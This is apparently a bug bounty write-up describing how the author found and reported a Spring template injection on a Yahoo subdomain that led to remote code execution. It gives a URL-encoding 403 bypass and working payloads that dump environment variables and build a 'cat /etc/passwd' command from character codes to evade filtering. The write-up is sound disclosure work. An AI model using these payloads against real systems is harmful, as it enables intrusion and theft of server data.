Yahoo! RCE via Spring Engine SSTI

This is write up in which I’ll explain a vulnerability I recently found, and reported through Yahoo’s bug bounty program. In web application security testing, doing reconnaissance is an important part of finding potentially vulnerable web application assets, as you can discover subdomains, directories, and other assets, which could increase the surface of attack. First, I did some subdomain discovery, using a combination online tools such as shodan.io, censys.io, crt.sh, dnsdumpster.com, and also scripts on github such as dirsearch, aquatone, massdns, etc. After using these tools, I came across a subdomain – datax.yahoo.com. I was interested in this subdomain, as the root directory would redirect to https://datax.yahoo.com/swagger-ui.html – and subsequently displayed a 403 error page.

Screen Shot 2017-11-09 at 3.46.54 PM.png

I then ran a quick Dirsearch scan, to discover hidden directories. I’m not sure exactly what the results were, but I noticed that the status code changed from 403, to 200 when adding a space character to the url; https://datax.yahoo.com/%20/. I was then presented with the following page.

Screen Shot 2017-11-09 at 3.47.11 PM.png

From here, I went through and tested some of the API endpoints to find potential vulnerabilities as an unauthenticated user. After going through a few endpoints, I came across the following endpoint, which displayed this white label error page, where the parameter values were reflected within the error:

Screen Shot 2017-11-10 at 3.24.15 PM.png

Noticing the reflection of text, I tried some XSS payloads, but was not able to execute client side javascript successfully. However, when entering a payload such as ${{7*7}} I was surprised to see that the arithmetic expression had been successfully evaluated within the response.

Screen Shot 2017-11-09 at 9.22.26 PM.png

The reason for my surprise, was because of the evaluation of the expression, along with the requirement of the “$” character in the syntax to successfully evaluate the expression. This can usually indicate that some sort of template engine/server side evaluation is involved in processing the expression. After a bit more research, I had a few guesses to what template engine this host might have been using. After presenting the Yahoo! security team with what I’d found so far, I received confirmation from the Yahoo team that the template used was the Spring Engine Template, and they requested that I try and see what else I could do with this. Since I was only able to do basic math with this, they wanted to see if I could pull some data from the server, in order for them to fully assess the impact. So as I did some more research to find a payload I could use to retrieve system information from the vulnerability, and found that the payload: ${T(java.lang.System).getenv()} could be used to retrieve the system’s environment variables.

Screen Shot 2017-11-13 at 10.38.02 AM.png

I then attempted to use the .exec method in order to execute the command “cat etc/passwd” to demonstrate that commands were able to be executed to pull data from the server using the .exec method. The payload was: ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} However, the command was only reflected in the response, and did not execute. I wasn’t sure why it didn’t work, but came across another researcher’s blog post – http://deadpool.sh/2017/RCE-Springs/ , where he used concatenation to put together the ASCII numeric values associated to the characters used in the command. The final payload below was used to successfully use the execute method to cat etc/passwd:

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

I didn’t want to include a screenshot to disclose the contents of this file. so to demonstrate, I will show the output of executing the “id” command using the same technique:
Screen Shot 2017-11-13 at 2.37.15 PM.png

So far, I’ve had great experience with Yahoo’s bug bounty, and would recommend this program to other researchers based on how they handle, resolve, and value submitted reports. The total bounty for this was $500 upon validating the issue, and $7,500 a few weeks after the resolution, for a total bounty of $8,000.

Thank you for reading.

References

https://nvd.nist.gov/vuln/detail/CVE-2016-4977

http://secalert.net/#cve-2016-4977

http://deadpool.sh/2017/RCE-Springs/

Customizing whitelabel error page:

https://docs.spring.io/spring-boot/docs/current/reference/html/howto-actuator.html

One thought on “Yahoo! RCE via Spring Engine SSTI

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

w

Connecting to %s